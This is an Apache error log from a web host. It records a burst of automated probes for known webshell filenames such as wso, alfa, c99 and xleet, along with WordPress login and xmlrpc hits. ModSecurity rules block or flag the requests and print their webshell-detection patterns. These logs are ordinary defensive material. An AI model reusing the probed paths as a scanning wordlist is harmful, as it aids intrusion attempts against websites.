[Mon Nov 24 01:14:08.830597 2025] [:error] [pid 1454:tid 1516] [client 212.30.33.117:30117] File does not exist: /usr/local/apache/htdocs/suspended-page/xmrlpc.php
[Mon Nov 24 01:14:09.328017 2025] [:error] [pid 1454:tid 1522] [client 212.30.33.117:30117] File does not exist: /usr/local/apache/htdocs/suspended-page/ae.php
[Mon Nov 24 01:14:09.808296 2025] [:error] [pid 1454:tid 1525] [client 212.30.33.117:30117] File does not exist: /usr/local/apache/htdocs/suspended-page/moon.php
[Mon Nov 24 01:14:10.884807 2025] [:error] [pid 1454:tid 1526] [client 212.30.33.117:30117] File does not exist: /usr/local/apache/htdocs/suspended-page/blog.php
[Mon Nov 24 01:14:11.358183 2025] [:error] [pid 1454:tid 1533] [client 212.30.33.117:30117] File does not exist: /usr/local/apache/htdocs/suspended-page/themes.php
[Mon Nov 24 01:14:11.890360 2025] [:error] [pid 1454:tid 1517] [client 212.30.33.117:30117] File does not exist: /usr/local/apache/htdocs/suspended-page/ini.php
[Mon Nov 24 01:14:12.510210 2025] [:error] [pid 1454:tid 1515] [client 212.30.33.117:30117] File does not exist: /usr/local/apache/htdocs/suspended-page/as.php
[Mon Nov 24 01:14:13.044409 2025] [:error] [pid 1454:tid 1531] [client 212.30.33.117:30117] File does not exist: /usr/local/apache/htdocs/suspended-page/shell.php
[Mon Nov 24 01:14:13.661841 2025] [:error] [pid 1454:tid 1518] [client 212.30.33.117:30117] File does not exist: /usr/local/apache/htdocs/suspended-page/ws.php
[Mon Nov 24 01:14:14.793616 2025] [:error] [pid 1454:tid 1529] [client 212.30.33.117:30117] File does not exist: /usr/local/apache/htdocs/suspended-page/makeasmtp.php
[Mon Nov 24 01:14:15.228633 2025] [:error] [pid 1454:tid 1534] [client 212.30.33.117:30117] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-sigunq.php
[Mon Nov 24 01:14:15.724087 2025] [:error] [pid 1454:tid 1532] [client 212.30.33.117:30117] File does not exist: /usr/local/apache/htdocs/suspended-page/wso112233.php
[Mon Nov 24 01:14:16.381602 2025] [:error] [pid 1454:tid 1536] [client 212.30.33.117:30117] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-atom.php
[Mon Nov 24 01:14:17.020208 2025] [:error] [pid 1454:tid 1523] [client 212.30.33.117:30117] File does not exist: /usr/local/apache/htdocs/suspended-page/alfanew.php
[Mon Nov 24 01:14:17.807345 2025] [:error] [pid 1454:tid 1524] [client 212.30.33.117:30117] File does not exist: /usr/local/apache/htdocs/suspended-page/fw.php
[Mon Nov 24 01:14:18.286600 2025] [:error] [pid 1454:tid 1519] [client 212.30.33.117:30117] File does not exist: /usr/local/apache/htdocs/suspended-page/install.php
[Mon Nov 24 01:14:18.804134 2025] [:error] [pid 1454:tid 1528] [client 212.30.33.117:30117] [client 212.30.33.117] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 212.30.33.117, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aSNA6reh4NH3skJ5n4RyIgAAANA"]
[Mon Nov 24 01:14:18.807957 2025] [:error] [pid 1454:tid 1528] [client 212.30.33.117:30117] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Mon Nov 24 01:14:20.123926 2025] [:error] [pid 1454:tid 1535] [client 212.30.33.117:30117] File does not exist: /usr/local/apache/htdocs/suspended-page/XxX.php
[Mon Nov 24 01:14:20.700012 2025] [:error] [pid 1454:tid 1522] [client 212.30.33.117:30117] File does not exist: /usr/local/apache/htdocs/suspended-page/Marvins.php
[Mon Nov 24 01:14:21.168373 2025] [:error] [pid 1454:tid 1525] [client 212.30.33.117:30117] [client 212.30.33.117] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/modules.php"] [unique_id "aSNA7beh4NH3skJ5n4RyKAAAAM0"]
[Mon Nov 24 01:14:22.136320 2025] [:error] [pid 8337:tid 8357] [client 212.30.33.191:34327] File does not exist: /usr/local/apache/htdocs/suspended-page/olux.php
[Mon Nov 24 01:14:22.776312 2025] [:error] [pid 8337:tid 8360] [client 212.30.33.191:34327] File does not exist: /usr/local/apache/htdocs/suspended-page/wso.php
[Mon Nov 24 01:14:23.807531 2025] [:error] [pid 8337:tid 8342] [client 212.30.33.191:34327] File does not exist: /usr/local/apache/htdocs/suspended-page/uploader.php
[Mon Nov 24 01:14:24.323166 2025] [:error] [pid 8337:tid 8344] [client 212.30.33.191:34327] File does not exist: /usr/local/apache/htdocs/suspended-page/1337.php
[Mon Nov 24 01:14:24.803895 2025] [:error] [pid 8337:tid 8359] [client 212.30.33.191:34327] File does not exist: /usr/local/apache/htdocs/suspended-page/user.php
[Mon Nov 24 01:14:26.245290 2025] [:error] [pid 8337:tid 8339] [client 212.30.33.191:34327] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-info.php
[Mon Nov 24 01:14:26.855173 2025] [:error] [pid 8337:tid 8349] [client 212.30.33.191:34327] File does not exist: /usr/local/apache/htdocs/suspended-page/wxo.php
[Mon Nov 24 01:14:27.441588 2025] [:error] [pid 8337:tid 8348] [client 212.30.33.191:34327] File does not exist: /usr/local/apache/htdocs/suspended-page/amigo.php
[Mon Nov 24 01:14:28.210885 2025] [:error] [pid 8337:tid 8356] [client 212.30.33.191:34327] File does not exist: /usr/local/apache/htdocs/suspended-page/yoi.php
[Mon Nov 24 01:14:30.992086 2025] [:error] [pid 8337:tid 8359] [client 212.30.33.191:34327] [client 212.30.33.191] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/codeboy1877_up.php"] [unique_id "aSNA9uSmps4S2j95D5h1nQAAABQ"]
[Mon Nov 24 01:14:35.191292 2025] [:error] [pid 1454:tid 1530] [client 212.30.33.141:48423] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-contentt.php
[Mon Nov 24 01:14:35.702598 2025] [:error] [pid 1454:tid 1518] [client 212.30.33.141:48423] File does not exist: /usr/local/apache/htdocs/suspended-page/we1y8.php
[Mon Nov 24 01:14:39.442354 2025] [:error] [pid 1454:tid 1534] [client 212.30.33.141:48423] File does not exist: /usr/local/apache/htdocs/suspended-page/hehe.php
[Mon Nov 24 01:14:41.295212 2025] [:error] [pid 1454:tid 1523] [client 212.30.33.141:48423] File does not exist: /usr/local/apache/htdocs/suspended-page/post-data.php
[Mon Nov 24 01:14:42.133490 2025] [:error] [pid 1454:tid 1524] [client 212.30.33.141:48423] File does not exist: /usr/local/apache/htdocs/suspended-page/w0.php
[Mon Nov 24 01:14:42.767851 2025] [:error] [pid 1454:tid 1519] [client 212.30.33.141:48423] File does not exist: /usr/local/apache/htdocs/suspended-page/old-index.php
[Mon Nov 24 01:14:43.422367 2025] [:error] [pid 1454:tid 1532] [client 212.30.33.141:48423] File does not exist: /usr/local/apache/htdocs/suspended-page/wsanon.php
[Mon Nov 24 01:14:46.212222 2025] [:error] [pid 1454:tid 1535] [client 212.30.33.141:48423] File does not exist: /usr/local/apache/htdocs/suspended-page/indo.php
[Mon Nov 24 01:14:46.661979 2025] [:error] [pid 1454:tid 1522] [client 212.30.33.141:48423] File does not exist: /usr/local/apache/htdocs/suspended-page/beence.php
[Mon Nov 24 01:14:47.271047 2025] [:error] [pid 1454:tid 1525] [client 212.30.33.141:48423] File does not exist: /usr/local/apache/htdocs/suspended-page/indosec.php
[Mon Nov 24 01:14:47.895027 2025] [:error] [pid 1454:tid 1521] [client 212.30.33.141:48423] File does not exist: /usr/local/apache/htdocs/suspended-page/archives.php
[Mon Nov 24 01:14:48.713297 2025] [:error] [pid 1454:tid 1517] [client 212.30.33.141:48423] File does not exist: /usr/local/apache/htdocs/suspended-page/po8sa.php
[Mon Nov 24 01:14:49.242954 2025] [:error] [pid 1454:tid 1527] [client 212.30.33.141:48423] File does not exist: /usr/local/apache/htdocs/suspended-page/thesmartestx.php
[Mon Nov 24 01:14:49.724410 2025] [:error] [pid 1454:tid 1518] [client 212.30.33.141:48423] File does not exist: /usr/local/apache/htdocs/suspended-page/zcanp.php
[Mon Nov 24 01:14:50.943239 2025] [:error] [pid 1454:tid 1513] [client 212.30.33.141:48423] File does not exist: /usr/local/apache/htdocs/suspended-page/pvt.php
[Mon Nov 24 01:14:52.416823 2025] [:error] [pid 1454:tid 1512] [client 212.30.33.141:48423] File does not exist: /usr/local/apache/htdocs/suspended-page/shell20211028.php
[Mon Nov 24 01:14:54.279081 2025] [:error] [pid 1454:tid 1523] [client 212.30.33.141:48423] File does not exist: /usr/local/apache/htdocs/suspended-page/crypted.php
[Mon Nov 24 01:14:54.799632 2025] [:error] [pid 1454:tid 1536] [client 212.30.33.141:48423] File does not exist: /usr/local/apache/htdocs/suspended-page/h0110w4y.php
[Mon Nov 24 01:14:55.312141 2025] [:error] [pid 1454:tid 1524] [client 212.30.33.141:48423] File does not exist: /usr/local/apache/htdocs/suspended-page/vesiw.php
[Mon Nov 24 01:14:55.767968 2025] [:error] [pid 1454:tid 1519] [client 212.30.33.141:48423] File does not exist: /usr/local/apache/htdocs/suspended-page/w.php
[Mon Nov 24 01:14:56.291616 2025] [:error] [pid 1454:tid 1532] [client 212.30.33.141:48423] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-db.php
[Mon Nov 24 01:14:57.497599 2025] [:error] [pid 1454:tid 1528] [client 212.30.33.141:48423] [client 212.30.33.141] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/lx.php"] [unique_id "aSNBEbeh4NH3skJ5n4RyVgAAANA"]
[Mon Nov 24 01:15:00.125290 2025] [:error] [pid 8337:tid 8358] [client 212.30.33.110:62053] File does not exist: /usr/local/apache/htdocs/suspended-page/lx.php
[Mon Nov 24 01:15:00.621822 2025] [:error] [pid 8337:tid 8361] [client 212.30.33.110:62053] File does not exist: /usr/local/apache/htdocs/suspended-page/tonant.php
[Mon Nov 24 01:15:01.131477 2025] [:error] [pid 8337:tid 8356] [client 212.30.33.110:62053] File does not exist: /usr/local/apache/htdocs/suspended-page/f0x.php
[Mon Nov 24 01:15:02.842008 2025] [:error] [pid 8337:tid 8347] [client 212.30.33.110:62053] File does not exist: /usr/local/apache/htdocs/suspended-page/config.bak.php
[Mon Nov 24 01:15:03.532256 2025] [:error] [pid 8337:tid 8359] [client 212.30.33.110:62053] File does not exist: /usr/local/apache/htdocs/suspended-page/bypass403.php
[Mon Nov 24 01:15:04.437978 2025] [:error] [pid 8337:tid 8339] [client 212.30.33.110:62053] File does not exist: /usr/local/apache/htdocs/suspended-page/adminer.php
[Mon Nov 24 01:15:05.090946 2025] [:error] [pid 8337:tid 8349] [client 212.30.33.110:62053] File does not exist: /usr/local/apache/htdocs/suspended-page/allahnaber.php
[Mon Nov 24 01:15:05.798085 2025] [:error] [pid 8337:tid 8362] [client 212.30.33.110:62053] File does not exist: /usr/local/apache/htdocs/suspended-page/AK-74.php
[Mon Nov 24 01:15:06.388290 2025] [:error] [pid 8337:tid 8353] [client 212.30.33.110:62053] File does not exist: /usr/local/apache/htdocs/suspended-page/alfa3.php
[Mon Nov 24 01:15:06.925728 2025] [:error] [pid 8337:tid 8350] [client 212.30.33.110:62053] File does not exist: /usr/local/apache/htdocs/suspended-page/alfaindex.php
[Mon Nov 24 01:15:09.652439 2025] [:error] [pid 8337:tid 8354] [client 212.30.33.110:62053] File does not exist: /usr/local/apache/htdocs/suspended-page/alfa.php
[Mon Nov 24 01:15:10.135821 2025] [:error] [pid 8337:tid 8343] [client 212.30.33.110:62053] File does not exist: /usr/local/apache/htdocs/suspended-page/c99.php
[Mon Nov 24 01:15:12.683802 2025] [:error] [pid 8337:tid 8360] [client 212.30.33.110:62053] File does not exist: /usr/local/apache/htdocs/suspended-page/cmd.php
[Mon Nov 24 01:15:14.199095 2025] [:error] [pid 8337:tid 8363] [client 212.30.33.110:62053] File does not exist: /usr/local/apache/htdocs/suspended-page/cw.php
[Mon Nov 24 01:15:16.507418 2025] [:error] [pid 8337:tid 8354] [client 212.30.33.110:62053] File does not exist: /usr/local/apache/htdocs/suspended-page/date.php
[Mon Nov 24 01:15:17.145120 2025] [:error] [pid 8337:tid 8343] [client 212.30.33.110:62053] File does not exist: /usr/local/apache/htdocs/suspended-page/haxor.php
[Mon Nov 24 01:15:18.576729 2025] [:error] [pid 8337:tid 8339] [client 212.30.33.110:62053] File does not exist: /usr/local/apache/htdocs/suspended-page/icomsium.php
[Mon Nov 24 01:15:19.225002 2025] [:error] [pid 8337:tid 8352] [client 212.30.33.110:62053] File does not exist: /usr/local/apache/htdocs/suspended-page/ico.php
[Mon Nov 24 01:15:19.799097 2025] [:error] [pid 8337:tid 8341] [client 212.30.33.110:62053] File does not exist: /usr/local/apache/htdocs/suspended-page/leaf.php
[Mon Nov 24 01:15:21.399966 2025] [:error] [pid 8337:tid 8361] [client 212.30.33.110:62053] File does not exist: /usr/local/apache/htdocs/suspended-page/marijuana.php
[Mon Nov 24 01:15:21.864983 2025] [:error] [pid 8337:tid 8340] [client 212.30.33.110:62053] File does not exist: /usr/local/apache/htdocs/suspended-page/mass.php
[Mon Nov 24 01:15:22.348085 2025] [:error] [pid 8337:tid 8362] [client 212.30.33.110:62053] File does not exist: /usr/local/apache/htdocs/suspended-page/mini.php
[Mon Nov 24 01:15:23.491641 2025] [:error] [pid 8337:tid 8349] [client 212.30.33.110:62053] File does not exist: /usr/local/apache/htdocs/suspended-page/priv8.php
[Mon Nov 24 01:15:24.210699 2025] [:error] [pid 8337:tid 8347] [client 212.30.33.110:62053] File does not exist: /usr/local/apache/htdocs/suspended-page/pws.php
[Mon Nov 24 01:15:24.648685 2025] [:error] [pid 8337:tid 8348] [client 212.30.33.110:62053] File does not exist: /usr/local/apache/htdocs/suspended-page/r57.php
[Mon Nov 24 01:15:25.982793 2025] [:error] [pid 8337:tid 8358] [client 212.30.33.110:62053] File does not exist: /usr/local/apache/htdocs/suspended-page/robots.php
[Mon Nov 24 01:15:27.336718 2025] [:error] [pid 8337:tid 8344] [client 212.30.33.110:62053] File does not exist: /usr/local/apache/htdocs/suspended-page/snd.php
[Mon Nov 24 01:15:28.094034 2025] [:error] [pid 8337:tid 8351] [client 212.30.33.110:62053] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-class.php
[Mon Nov 24 01:15:29.415688 2025] [:error] [pid 8337:tid 8343] [client 212.30.33.110:62053] File does not exist: /usr/local/apache/htdocs/suspended-page/new-index.php
[Mon Nov 24 01:15:40.977469 2025] [:error] [pid 8337:tid 8342] [client 212.30.33.110:62053] [client 212.30.33.110] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/F0x.php"] [unique_id "aSNBPOSmps4S2j95D5h2IwAAAAM"]
[Mon Nov 24 01:15:43.067228 2025] [:error] [pid 8337:tid 8345] [client 212.30.33.148:20485] File does not exist: /usr/local/apache/htdocs/suspended-page/class-wp-widget-archives.php
[Mon Nov 24 01:15:46.658769 2025] [:error] [pid 1589:tid 1610] [client 144.48.39.86:46064] [client 144.48.39.86] ModSecurity: Warning. Match of "pmFromFile userdata_wl_content_type" against "TX:0" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "17"] [id "210710"] [rev "5"] [msg "COMODO WAF: Request content type is not allowed by policy. Please update file userdata_wl_content_type.||www.windfarmcoolants.com.au|F|2"] [data "TX:0=text/plain"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.windfarmcoolants.com.au"] [uri "/cgi"] [unique_id "aSNBQoI2fvripjU0Eat5TwAAAVM"], referer: http://www.windfarmcoolants.com.au/mainFrame.htm
[Mon Nov 24 01:15:50.073132 2025] [:error] [pid 8337:tid 8351] [client 212.30.33.148:20485] File does not exist: /usr/local/apache/htdocs/suspended-page/xleet-shell.php
[Mon Nov 24 01:15:52.024455 2025] [:error] [pid 8337:tid 8339] [client 212.30.33.148:20485] File does not exist: /usr/local/apache/htdocs/suspended-page/xleet.php
[Mon Nov 24 01:15:52.724675 2025] [:error] [pid 8337:tid 8341] [client 212.30.33.148:20485] File does not exist: /usr/local/apache/htdocs/suspended-page/xleetshell.php
[Mon Nov 24 01:15:54.326220 2025] [:error] [pid 8337:tid 8348] [client 212.30.33.148:20485] File does not exist: /usr/local/apache/htdocs/suspended-page/xlt.php
[Mon Nov 24 01:16:00.284029 2025] [:error] [pid 8337:tid 8362] [client 212.30.33.148:20485] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-apxupx.php
[Mon Nov 24 01:16:01.184753 2025] [:error] [pid 8337:tid 8358] [client 144.48.39.84:54744] [client 144.48.39.84] ModSecurity: Warning. Match of "pmFromFile userdata_wl_content_type" against "TX:0" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "17"] [id "210710"] [rev "5"] [msg "COMODO WAF: Request content type is not allowed by policy. Please update file userdata_wl_content_type.||www.windfarmcoolants.com.au|F|2"] [data "TX:0=text/plain"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.windfarmcoolants.com.au"] [uri "/cgi"] [unique_id "aSNBUeSmps4S2j95D5h2XgAAABM"], referer: http://www.windfarmcoolants.com.au/mainFrame.htm
[Mon Nov 24 01:16:02.384966 2025] [:error] [pid 8337:tid 8339] [client 212.30.33.148:20485] File does not exist: /usr/local/apache/htdocs/suspended-page/nf_tracking.php
[Mon Nov 24 01:16:03.405963 2025] [:error] [pid 8337:tid 8344] [client 212.30.33.148:20485] File does not exist: /usr/local/apache/htdocs/suspended-page/class.api.php
[Mon Nov 24 01:16:05.024309 2025] [:error] [pid 8337:tid 8360] [client 212.30.33.148:20485] File does not exist: /usr/local/apache/htdocs/suspended-page/xl2023.php
[Mon Nov 24 01:16:09.140836 2025] [:error] [pid 8337:tid 8346] [client 212.30.33.148:20485] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-head.php
[Mon Nov 24 01:16:15.853284 2025] [:error] [pid 1452:tid 1473] [client 212.30.33.153:30343] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-pano.php
[Mon Nov 24 01:16:17.939984 2025] [:error] [pid 1452:tid 1477] [client 212.30.33.153:30343] [client 212.30.33.153] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/IXR/index.php"] [unique_id "aSNBYRKZkEEyVNVXr_nDxgAAAFQ"]
[Mon Nov 24 01:16:20.670623 2025] [:error] [pid 1454:tid 1512] [client 212.30.33.160:60049] [client 212.30.33.160] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 212.30.33.160, incrementing ddos counter"] [hostname "windfarmcoolants.com.au"] [uri "/xmlrpc.php"] [unique_id "aSNBZLeh4NH3skJ5n4RymAAAAMA"]
[Mon Nov 24 01:16:20.674047 2025] [:error] [pid 1454:tid 1512] [client 212.30.33.160:60049] File does not exist: /usr/local/apache/htdocs/suspended-page/xmlrpc.php
[Mon Nov 24 01:16:21.292712 2025] [:error] [pid 1454:tid 1536] [client 212.30.33.160:60049] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-admin.php
[Mon Nov 24 01:16:22.430815 2025] [:error] [pid 1454:tid 1516] [client 212.30.33.160:60049] [client 212.30.33.160] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "aSNBZreh4NH3skJ5n4RynQAAAMQ"]
[Mon Nov 24 01:16:25.297532 2025] [:error] [pid 1589:tid 1595] [client 212.30.33.153:44019] File does not exist: /usr/local/apache/htdocs/suspended-page/WSOEnigma.php
[Mon Nov 24 01:16:30.705694 2025] [:error] [pid 1589:tid 1607] [client 212.30.33.153:44019] File does not exist: /usr/local/apache/htdocs/suspended-page/mah.php
[Mon Nov 24 01:16:31.688035 2025] [:error] [pid 1589:tid 1603] [client 212.30.33.153:44019] File does not exist: /usr/local/apache/htdocs/suspended-page/test.php
[Mon Nov 24 01:16:32.514677 2025] [:error] [pid 1589:tid 1601] [client 212.30.33.153:44019] [client 212.30.33.153] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Requests/about.php"] [unique_id "aSNBcII2fvripjU0Eat5iQAAAUo"]
[Mon Nov 24 01:16:33.437217 2025] [:error] [pid 1453:tid 1486] [client 212.30.33.151:50629] File does not exist: /usr/local/apache/htdocs/suspended-page/gebase.php
[Mon Nov 24 01:16:33.892432 2025] [:error] [pid 1453:tid 1497] [client 212.30.33.151:50629] File does not exist: /usr/local/apache/htdocs/suspended-page/defaults.php
[Mon Nov 24 01:16:34.436883 2025] [:error] [pid 1453:tid 1508] [client 212.30.33.151:50629] File does not exist: /usr/local/apache/htdocs/suspended-page/asasx.php
[Mon Nov 24 01:16:37.648194 2025] [:error] [pid 1453:tid 1492] [client 212.30.33.151:50629] File does not exist: /usr/local/apache/htdocs/suspended-page/contact.php
[Mon Nov 24 01:16:38.207734 2025] [:error] [pid 1453:tid 1499] [client 212.30.33.151:50629] File does not exist: /usr/local/apache/htdocs/suspended-page/classwithtostring.php
[Mon Nov 24 01:16:38.746027 2025] [:error] [pid 1453:tid 1487] [client 212.30.33.151:50629] File does not exist: /usr/local/apache/htdocs/suspended-page/mah.php
[Mon Nov 24 01:16:39.274759 2025] [:error] [pid 1453:tid 1506] [client 212.30.33.151:50629] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-add.php
[Mon Nov 24 01:16:42.441452 2025] [:error] [pid 1453:tid 1500] [client 212.30.33.151:50629] File does not exist: /usr/local/apache/htdocs/suspended-page/403.php
[Mon Nov 24 01:16:43.940195 2025] [:error] [pid 1453:tid 1490] [client 212.30.33.151:50629] [client 212.30.33.151] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "aSNBexUBCt7LU0bO_GBMBgAAAIY"]
[Mon Nov 24 01:16:44.975882 2025] [:error] [pid 8337:tid 8347] [client 212.30.33.154:46039] [client 212.30.33.154] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aSNBfOSmps4S2j95D5h2sQAAAAg"]
[Mon Nov 24 01:16:45.993891 2025] [:error] [pid 1452:tid 1475] [client 212.30.33.131:56011] [client 212.30.33.131] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Text/about.php"] [unique_id "aSNBfRKZkEEyVNVXr_nD4gAAAFI"]
[Mon Nov 24 01:16:47.989017 2025] [:error] [pid 1453:tid 1495] [client 212.30.33.191:29347] [client 212.30.33.191] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/about.php"] [unique_id "aSNBfxUBCt7LU0bO_GBMCAAAAIo"]
[Mon Nov 24 01:16:49.012855 2025] [:error] [pid 1589:tid 1612] [client 212.30.33.134:51855] File does not exist: /usr/local/apache/htdocs/suspended-page/text.php
[Mon Nov 24 01:16:49.507596 2025] [:error] [pid 1589:tid 1608] [client 212.30.33.134:51855] File does not exist: /usr/local/apache/htdocs/suspended-page/xc.php
[Mon Nov 24 01:16:50.517204 2025] [:error] [pid 1589:tid 1606] [client 212.30.33.134:51855] [client 212.30.33.134] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 212.30.33.134, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/images/wp-login.php"] [unique_id "aSNBgoI2fvripjU0Eat5kgAAAU8"]
[Mon Nov 24 01:16:53.740817 2025] [:error] [pid 1589:tid 1593] [client 212.30.33.134:51855] File does not exist: /usr/local/apache/htdocs/suspended-page/go.php
[Mon Nov 24 01:16:55.867428 2025] [:error] [pid 1589:tid 1603] [client 212.30.33.134:51855] File does not exist: /usr/local/apache/htdocs/suspended-page/byp.php
[Mon Nov 24 01:17:00.566328 2025] [:error] [pid 1589:tid 1606] [client 212.30.33.134:51855] [client 212.30.33.134] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/about.php"] [unique_id "aSNBjII2fvripjU0Eat5pQAAAU8"]
[Mon Nov 24 01:17:03.089453 2025] [:error] [pid 8337:tid 8348] [client 212.30.33.154:43045] File does not exist: /usr/local/apache/htdocs/suspended-page/click.php
[Mon Nov 24 01:17:04.896390 2025] [:error] [pid 8337:tid 8344] [client 212.30.33.154:43045] [client 212.30.33.154] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 212.30.33.154, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/wp-login.php"] [unique_id "aSNBkOSmps4S2j95D5h2ywAAAAU"]
[Mon Nov 24 01:17:06.421128 2025] [:error] [pid 8337:tid 8347] [client 212.30.33.154:43045] File does not exist: /usr/local/apache/htdocs/suspended-page/baxa1.php
[Mon Nov 24 01:17:07.545182 2025] [:error] [pid 8337:tid 8359] [client 212.30.33.154:43045] File does not exist: /usr/local/apache/htdocs/suspended-page/in.php
[Mon Nov 24 01:17:08.219884 2025] [:error] [pid 8337:tid 8360] [client 212.30.33.154:43045] File does not exist: /usr/local/apache/htdocs/suspended-page/geju.php
[Mon Nov 24 01:17:09.784355 2025] [:error] [pid 8337:tid 8341] [client 212.30.33.154:43045] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-signup.php
[Mon Nov 24 01:17:10.871109 2025] [:error] [pid 8337:tid 8357] [client 212.30.33.154:43045] File does not exist: /usr/local/apache/htdocs/suspended-page/elp.php
